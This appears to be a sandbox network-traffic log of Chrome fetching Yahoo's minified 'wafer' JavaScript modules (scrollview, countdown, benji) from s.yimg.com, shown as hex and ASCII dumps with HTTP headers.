2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 4d 61 70 70 69 6e 67 2e 67 65 74 28 73 29 3b 72 2e 73 65 74 28 68 2c 73 29 2c 61 2e 73 65 74 28 76 2c 69 29 2c 65 3d 3d 3d 74 68 69 73 2e 61 63 74 69 76 65 26 26 28 74 68 69 73 2e 61 63 74 69 76 65 3d 72 29 2c 65 3d 3d 3d 74 68 69 73 2e 74 61 69 6c 26 26 28 74 68 69 73 2e 74 61 69 6c 3d 69 29 2c 65 3d 3d 3d 74 68 69 73 2e 68 65 61 64 26 26 28 74 68 69 73 2e 68 65 61 64 3d 73 29 2c 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 64 65 6c 65 74 65 28 65 29 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 41 63 74 69 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 61 63 74 69 76 65 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 4e 65 78 74 41 73 41 63 74 69 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 Data Ascii: Mapping.get(s);r.set(h,s),a.set(v,i),e===this.active&&(this.active=r),e===this.tail&&(this.tail=i),e===this.head&&(this.head=s),this.elemMapping.delete(e)}},{key:"getActive",value:function(){return this.active}},{key:"setNextAsActive",value:function(){thi
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 70 69 6e 67 2e 67 65 74 28 65 29 2c 73 3d 69 2e 67 65 74 28 76 29 2c 72 3d 69 2e 67 65 74 28 68 29 2c 61 3d 74 5b 30 5d 2c 6e 3d 61 2c 6c 3d 73 3b 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 67 65 74 28 73 29 2e 73 65 74 28 68 2c 6e 29 3b 66 6f 72 28 76 61 72 20 6f 3d 31 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 75 3d 74 5b 6f 5d 3b 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 73 65 74 28 6e 2c 6e 65 77 20 4d 61 70 28 5b 5b 68 2c 75 5d 2c 5b 76 2c 6c 5d 5d 29 29 2c 6c 3d 6e 2c 6e 3d 75 7d 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 73 65 74 28 6e 29 2e 73 65 74 28 6e 2c 6e 65 77 20 4d 61 70 28 5b 5b 68 2c 72 5d 2c 5b 76 2c 6c 5d 5d 29 29 2c 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 67 65 74 28 72 29 2e 73 Data Ascii: ping.get(e),s=i.get(v),r=i.get(h),a=t[0],n=a,l=s;this.elemMapping.get(s).set(h,n);for(var o=1;o<t.length;o++){var u=t[o];this.elemMapping.set(n,new Map([[h,u],[v,l]])),l=n,n=u}this.elemMapping.set(n).set(n,new Map([[h,r],[v,l]])),this.elemMapping.get(r).s
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2e 75 74 69 6c 73 2c 53 3d 79 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 6b 3d 45 2e 73 6d 6f 6f 74 68 53 63 72 6f 6c 6c 2c 43 3d 45 2e 74 72 61 6e 73 66 6f 72 6d 50 72 6f 70 65 72 74 79 2c 4c 3d 5f 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 78 3d 41 2e 62 69 6e 64 45 76 65 6e 74 2c 54 3d 41 2e 63 6c 65 61 72 41 6e 64 53 65 74 49 6e 6e 65 72 48 54 4d 4c 2c 4f 3d 41 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 2c 44 3d 41 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 2c 4d 3d 41 2e 64 65 62 6f 75 6e 63 65 2c 50 3d 41 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 2c 57 3d 41 2e 66 65 74 63 68 57 69 74 68 43 61 63 68 65 2c 42 3d 41 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 2c 4e 3d 41 2e 67 65 74 43 6f 6e 66 69 67 46 72 6f 6d 4a 53 4f 4e 53 63 72 Data Ascii: .utils,S=y.WaferBaseClass,k=E.smoothScroll,C=E.transformProperty,L=_.ATTR_PREFIX,x=A.bindEvent,T=A.clearAndSetInnerHTML,O=A.clearTimeout,D=A.convertNodeListToArray,M=A.debounce,P=A.elementInView,W=A.fetchWithCache,B=A.findAncestor,N=A.getConfigFromJSONScr
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6f 72 73 2d 63 6f 75 6e 74 73 22 29 5b 30 5d 2c 76 3d 4e 28 68 29 2e 63 6f 75 6e 74 73 2c 66 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 70 61 67 69 6e 61 74 69 6f 6e 2d 74 61 72 67 65 74 22 29 2c 67 3d 70 61 72 73 65 49 6e 74 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 68 61 73 2d 69 6e 64 69 63 61 74 6f 72 2d 70 61 67 69 6e 61 74 69 6f 6e 22 29 2c 31 30 29 7c 7c 30 2c 77 3d 66 26 26 44 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 66 29 29 7c 7c 44 28 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 69 6e 64 69 63 61 74 6f 72 73 22 29 29 2c 79 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 63 79 63 6c 65 22 29 2c 5f 3d 76 6f 69 64 20 30 2c Data Ascii: ors-counts")[0],v=N(h).counts,f=e.getAttribute(L+"pagination-target"),g=parseInt(e.getAttribute(L+"has-indicator-pagination"),10)\|\|0,w=f&&D(document.body.querySelectorAll(f))\|\|D(e.getElementsByClassName("indicators")),y=e.getAttribute(L+"cycle"),_=void 0,
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 2e 61 64 64 28 22 68 61 73 2d 73 63 72 6f 6c 6c 73 6e 61 70 2d 63 6c 69 63 6b 22 2c 22 68 61 73 2d 63 6c 69 63 6b 22 29 2c 21 31 29 7d 29 2c 75 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 45 6c 65 6d 3d 75 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 45 6c 65 6d 7c 7c 54 5b 30 5d 2c 75 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 45 6c 65 6d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 2c 75 2e 73 6e 61 70 4e 61 74 69 76 65 53 63 72 6f 6c 6c 56 69 65 77 54 6f 41 63 74 69 76 65 45 6c 65 6d 65 6e 74 28 7b 63 61 6c 6c 65 64 4f 6e 4c 6f 61 64 3a 21 30 2c 73 6f 75 72 63 65 3a 22 6f 6e 4c 6f 61 64 22 7d 29 2c 75 2e 63 68 65 63 6b 41 6e 64 41 64 64 41 63 74 69 76 65 43 6c 61 73 73 46 6f 72 4e 61 74 69 76 65 4f 76 65 72 66 6c 6f 77 28 29 2c Data Ascii: t.add("has-scrollsnap-click","has-click"),!1)}),u._state.activeElem=u._state.activeElem\|\|T[0],u._state.activeElem.classList.add("active"),u.snapNativeScrollViewToActiveElement({calledOnLoad:!0,source:"onLoad"}),u.checkAndAddActiveClassForNativeOverflow(),
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 65 72 49 74 65 6d 73 44 61 74 61 4d 61 70 70 69 6e 67 3a 6e 65 77 20 4d 61 70 2c 74 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 6e 75 6c 6c 3d 3d 3d 55 7c 7c 76 6f 69 64 20 30 3d 3d 3d 55 3f 59 3a 4e 75 6d 62 65 72 28 55 29 2c 74 72 61 6e 73 69 74 69 6f 6e 54 69 6d 69 6e 67 46 75 6e 63 74 69 6f 6e 3a 6e 75 6c 6c 3d 3d 3d 69 65 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 65 3f 52 3a 69 65 2c 74 72 69 67 67 65 72 57 61 66 65 72 73 44 75 72 69 6e 67 54 72 61 6e 73 69 74 69 6f 6e 3a 22 31 22 3d 3d 3d 6a 3f 31 3a 30 7d 29 3b 4f 26 26 2d 31 21 3d 3d 4f 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 26 26 28 61 65 2e 65 64 67 65 50 61 64 64 69 6e 67 50 65 72 63 65 6e 74 61 67 65 3d 70 61 72 73 65 49 6e 74 28 4f 2e 72 65 70 6c 61 63 65 28 22 25 22 2c 22 22 29 2c 31 30 Data Ascii: erItemsDataMapping:new Map,transitionDuration:null===U\|\|void 0===U?Y:Number(U),transitionTimingFunction:null===ie\|\|void 0===ie?R:ie,triggerWafersDuringTransition:"1"===j?1:0});O&&-1!==O.indexOf("%")&&(ae.edgePaddingPercentage=parseInt(O.replace("%",""),10
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 2d 72 65 6e 64 65 72 65 64 22 29 2c 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 46 28 66 75 6e 63 74 69 6f 6e 28 29 7b 75 2e 5f 75 74 69 6c 2e 69 6e 64 65 78 26 26 75 2e 73 63 72 6f 6c 6c 54 6f 49 6e 64 65 78 28 75 2e 5f 75 74 69 6c 2e 69 6e 64 65 78 29 2c 75 2e 73 65 74 54 69 6d 65 6f 75 74 46 6f 72 41 75 74 6f 53 77 69 74 63 68 28 29 2c 62 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 73 63 72 6f 6c 6c 76 69 65 77 3a 72 65 61 64 79 22 2c 7b 65 6c 65 6d 3a 65 2c 6d 65 74 61 3a 7b 7d 7d 29 7d 2c 34 30 29 7d 29 2c 75 7d 72 65 74 75 72 6e 20 6c 28 74 2c 65 29 2c 67 28 74 2c 5b 7b 6b 65 79 3a 22 61 64 64 41 72 69 61 41 Data Ascii: lassList.add("wafer-scrollview-rendered"),window.wafer.ready(function(){F(function(){u._util.index&&u.scrollToIndex(u._util.index),u.setTimeoutForAutoSwitch(),b.emitWaferEvent("scrollview:ready",{elem:e,meta:{}})},40)}),u}return l(t,e),g(t,[{key:"addAriaA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49852	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	542	OUT	GET /aaq/wf/wf-countdown-1.2.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: vse9q+mv1ZBUg1S1ockcJc+/2txkQ6yFSbt3E1U/0FgKmdCq0QemISzRxo9ai/9fntma3OwhHwg= x-amz-request-id: PWFWV5G6TJBWH2H3 Date: Wed, 10 Jan 2024 23:26:37 GMT Last-Modified: Sun, 13 Sep 2020 18:50:05 GMT ETag: "681d57e9e7cbef5de44544c13f8ca62e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 x-amz-version-id: CQ1lP8549yVnp28g4QLu9GcN8rB3ImgO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4348 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 35 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-countdown",[],t):"object"==typeof exports?exports["wafer-countdown"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wa
2024-01-10 23:27:11 UTC	791	IN	Data Raw: 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f Data Ascii: t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeO
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 76 61 72 20 72 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2f 31 65 33 25 36 30 29 2c 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2f 31 65 33 2f 36 30 25 36 30 29 2c 61 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2f 33 36 65 35 25 66 29 2c 73 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2f 38 36 34 65 35 29 3b 6e 2e 73 65 74 28 22 74 6f 74 61 6c 22 2c 74 29 2c 6e 2e 73 65 74 28 22 64 61 79 73 22 2c 73 29 2c 6e 2e 73 65 74 28 22 68 6f 75 72 73 22 2c 61 29 2c 6e 2e 73 65 74 28 22 6d 69 6e 75 74 65 73 22 2c 6f 29 2c 6e 2e 73 65 74 28 22 73 65 63 6f 6e 64 73 22 2c 72 29 7d 65 6c 73 65 20 6e 2e 73 65 74 28 22 74 6f 74 61 6c 22 2c 30 29 2c 6e 2e 73 65 74 28 22 64 61 79 73 22 2c 30 29 2c 6e 2e 73 65 74 28 22 68 6f 75 72 73 22 2c 30 29 2c 6e 2e 73 65 74 28 22 6d 69 6e 75 74 65 73 Data Ascii: var r=Math.floor(t/1e3%60),o=Math.floor(t/1e3/60%60),a=Math.floor(t/36e5%f),s=Math.floor(t/864e5);n.set("total",t),n.set("days",s),n.set("hours",a),n.set("minutes",o),n.set("seconds",r)}else n.set("total",0),n.set("days",0),n.set("hours",0),n.set("minutes
2024-01-10 23:27:11 UTC	957	IN	Data Raw: 6e 3a 22 2b 6c 2c 7b 65 6c 65 6d 3a 74 2c 6d 65 74 61 3a 7b 7d 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 75 70 43 6f 75 6e 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 76 61 72 20 72 3d 64 28 74 29 3b 6f 2e 61 64 64 42 72 65 61 6b 70 6f 69 6e 74 43 6c 61 73 73 28 72 29 2c 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6f 3d 72 2e 67 65 74 28 74 29 3b 74 3d 3d 3d 63 2e 48 4f 55 52 26 26 6e 3d 3d 3d 63 2e 48 4f 55 52 26 26 28 6f 2b 3d 72 2e 67 65 74 28 22 64 61 79 73 22 29 2a 66 29 3b 76 61 72 20 61 3d 6f 3e 3d 31 30 3f 22 22 2b 6f 3a 28 22 30 22 2b 6f 29 2e 73 6c 69 63 65 28 2d 32 29 3b 65 2e 69 6e 6e 65 72 48 54 4d 4c 21 3d 3d 61 26 26 28 65 2e 69 6e Data Ascii: n:"+l,{elem:t,meta:{}})}},{key:"setupCount",value:function(e,t,n){function r(){var r=d(t);o.addBreakpointClass(r),e.forEach(function(e,t){var o=r.get(t);t===c.HOUR&&n===c.HOUR&&(o+=r.get("days")*f);var a=o>=10?""+o:("0"+o).slice(-2);e.innerHTML!==a&&(e.in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49853	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	538	OUT	GET /aaq/wf/wf-benji-1.1.3-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	834	IN	HTTP/1.1 200 OK x-amz-id-2: NGzPBo+Z9YYCLHml09CRNYFo+kygVX2ZENcdvoc/YYl/c6VDCc8U5K9wzWqwwlCTdJ7qPU97/oGtPnVdr98XKuUJocalktGu42LckO3GIjE= x-amz-request-id: 24BK0WN7AA62DCQY Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Tue, 17 Oct 2023 23:22:13 GMT ETag: "66dd7e9082b2f37836df08d0c25d4947" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: D6_gE0hdDgWzE0zXZDBC61nGy_dZFLNd Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8282 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 65 6e 6a 69 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 65 6e 6a 69 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-benji",[],t):"object"==typeof exports?exports["wafer-benji"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a f
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2e 6b 65 Data Ascii: );throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),l=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.ke
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 3b 72 65 74 75 72 6e 7b 6f 66 66 73 65 74 58 3a 65 2e 6f 66 66 73 65 74 58 2c 6f 66 66 73 65 74 59 3a 65 2e 6f 66 66 73 65 74 59 2c 74 72 69 67 67 65 72 3a 65 2e 74 72 69 67 67 65 72 7d 7d 7d 5d 29 2c 74 7d 28 76 29 3b 77 2e 65 76 65 6e 74 73 3d 7b 7d 3b 76 61 72 20 6a 3d 77 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 Data Ascii: unction(){var e=this._util;return{offsetX:e.offsetX,offsetY:e.offsetY,trigger:e.trigger}}}]),t}(v);w.events={};var j=w,m=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writ
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2e 74 72 69 67 67 65 72 2c 69 3d 21 30 3b 22 76 69 65 77 70 6f 72 74 22 3d 3d 3d 6f 26 26 28 69 3d 6b 28 65 2c 7b 6f 66 66 73 65 74 58 3a 6e 2c 6f 66 66 73 65 74 59 3a 72 7d 2c 43 2e 76 69 65 77 70 6f 72 74 29 29 2c 69 26 26 76 2e 74 72 69 67 67 65 72 46 6f 72 45 6c 65 6d 65 6e 74 73 28 5b 65 5d 2c 7b 73 6f 75 72 63 65 3a 22 73 74 61 74 65 22 7d 29 7d 2c 62 2e 73 79 6e 63 28 29 2c 62 7d 72 65 74 75 72 6e 20 66 28 74 2c 65 29 2c 6d 28 74 2c 5b 7b 6b 65 79 3a 22 5f 63 68 65 63 6b 49 66 42 65 6e 6a 69 4e 61 6d 65 53 70 61 63 65 45 78 69 73 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d Data Ascii: .trigger,i=!0;"viewport"===o&&(i=k(e,{offsetX:n,offsetY:r},C.viewport)),i&&v.triggerForElements([e],{source:"state"})},b.sync(),b}return f(t,e),m(t,[{key:"_checkIfBenjiNameSpaceExist",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]
2024-01-10 23:27:11 UTC	1004	IN	Data Raw: 7b 6b 65 79 3a 22 6c 69 73 74 65 6e 54 6f 42 65 6e 6a 69 45 76 65 6e 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 3b 69 66 28 21 65 2e 61 64 64 65 64 4c 69 73 74 65 6e 65 72 46 6f 72 62 65 6e 6a 69 45 76 65 6e 74 73 29 7b 65 2e 61 64 64 65 64 4c 69 73 74 65 6e 65 72 46 6f 72 62 65 6e 6a 69 45 76 65 6e 74 73 3d 21 30 3b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 62 65 6e 6a 69 3b 74 2e 6f 6e 28 22 52 45 4e 44 45 52 5f 53 55 43 43 45 45 44 45 44 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 52 65 6e 64 65 72 53 75 63 63 65 73 73 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 74 2e 6f 6e 28 22 52 45 4e 44 45 52 5f 46 41 49 4c 45 44 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 50 6f 73 69 74 69 6f 6e 46 61 69 6c 75 Data Ascii: {key:"listenToBenjiEvents",value:function(){var e=this._state;if(!e.addedListenerForbenjiEvents){e.addedListenerForbenjiEvents=!0;var t=window.benji;t.on("RENDER_SUCCEEDED",this.handleRenderSuccess.bind(this)),t.on("RENDER_FAILED",this.handlePositionFailu
